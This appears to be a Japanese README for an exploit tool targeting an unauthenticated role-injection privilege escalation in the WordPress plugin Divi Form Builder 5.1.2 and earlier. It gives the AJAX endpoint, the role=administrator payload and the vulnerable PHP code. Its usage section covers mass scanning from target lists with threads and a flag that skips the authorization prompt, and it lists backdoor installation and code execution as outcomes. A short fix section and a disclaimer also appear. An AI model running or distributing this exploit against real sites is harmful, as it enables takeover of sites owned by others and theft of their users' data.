
Divi Form Builder <= 5.1.2 — 認証されていないロールインジェクションによる権限昇格
🔥 脆弱性概要
WordPressプラグイン Divi Form Builder バージョン 5.1.2以下 には、認証なし権限昇格 の脆弱性が存在します。この深刻な欠陥により、認証されていない攻撃者 が、Divi Form Builder のフォーム(お問い合わせフォーム、見積フォーム、ニュースレターフォーム、その他DFB対応フォーム)を介して、直接 Administrator アカウントを作成できます。
脆弱性は、FormSubmissionHandler.php の create_user() 関数に起因します。この関数は、ユーザーから送信されたPOSTデータから role パラメータを、適切な認可や許可リストによる検証なしに受け入れます。プラグインは、送信されたロールがシステムに 存在する かどうかのみチェックします(例:administrator は有効なWordPressロールです)。ロールが公開登録に対して 安全 かどうかは一切確認しません。
画期的な発見: Divi Form Builder が使用する fb_nonce は、サイト上のすべてのフォームで同一の グローバル共有nonce (wp_create_nonce('security')) です。さらに、form_type=register は共有AJAXハンドラへのPOSTで 上書き可能 です。つまり、あらゆるDFBフォーム(お問い合わせ、見積、フィードバックなど)を、任意のロール割り当てによるユーザー登録トリガーとして悪用できます。
🔍 影響を受けるプラグイン
🧨 攻撃者ができること
🧪 エクスプロイトの特徴
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator を送信🧠 脆弱なコード
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ロールが存在するかだけを確認し、安全かは確認しない
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" は存在するため、このチェックを通過
}
// ~ line 2301 — 注入されたロールを直接適用
$user = new WP_User($user_id);
$user->set_role($role); // ← 権限昇格!
🚀 使用方法
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
targets.txt を作成:
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
🛠 修正推奨事項
// 安全策: 公開登録に許可するロールのみを許可リスト化
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← 危険なロールはすべて拒否
}
role 隠しフィールドを完全に削除するcurrent_user_can('create_users') の機能チェックを追加する🧠 研究者
📚 参考文献
🔒 免責事項:
この情報は 教育目的 および 許可された侵入テスト のためにのみ提供されています。許可なくコンピュータシステムを悪用することは違法かつ非倫理的です。所有していないターゲットをテストする前に、必ず明示的な書面による許可を得てください。
| 能力 | 影響 |
|---|
| 🔑 ログインなしで管理者アカウントを作成 | サイト完全掌握 |
| 📦 WooCommerce顧客データにアクセス | データ漏洩 |
| 💉 プラグイン/テーマのPHPファイルを編集 | リモートコード実行 |
| 🕳️ 隠しバックドアをインストール | 永続的アクセス |
| 👥 全ユーザーデータを閲覧 | プライバシー侵害 |
| フラグ | 説明 |
|---|
-t, --target | 単一ターゲットURL |
-l, --list | ターゲットリストのファイル(1行に1つ、http/httpsは任意) |
-T, --threads | 大量スキャン時のスレッド数(デフォルト: 10) |
-o, --output | 結果の出力ファイル(デフォルト: result.txt) |
-u, --username | 新しいアカウントのカスタムユーザー名 |
-p, --password | 新しいアカウントのカスタムパスワード |
-e, --email | 新しいアカウントのカスタムメールアドレス |
-v, --verbose | 詳細なデバッグ出力 |
--no-confirm | 許可確認プロンプトをスキップ |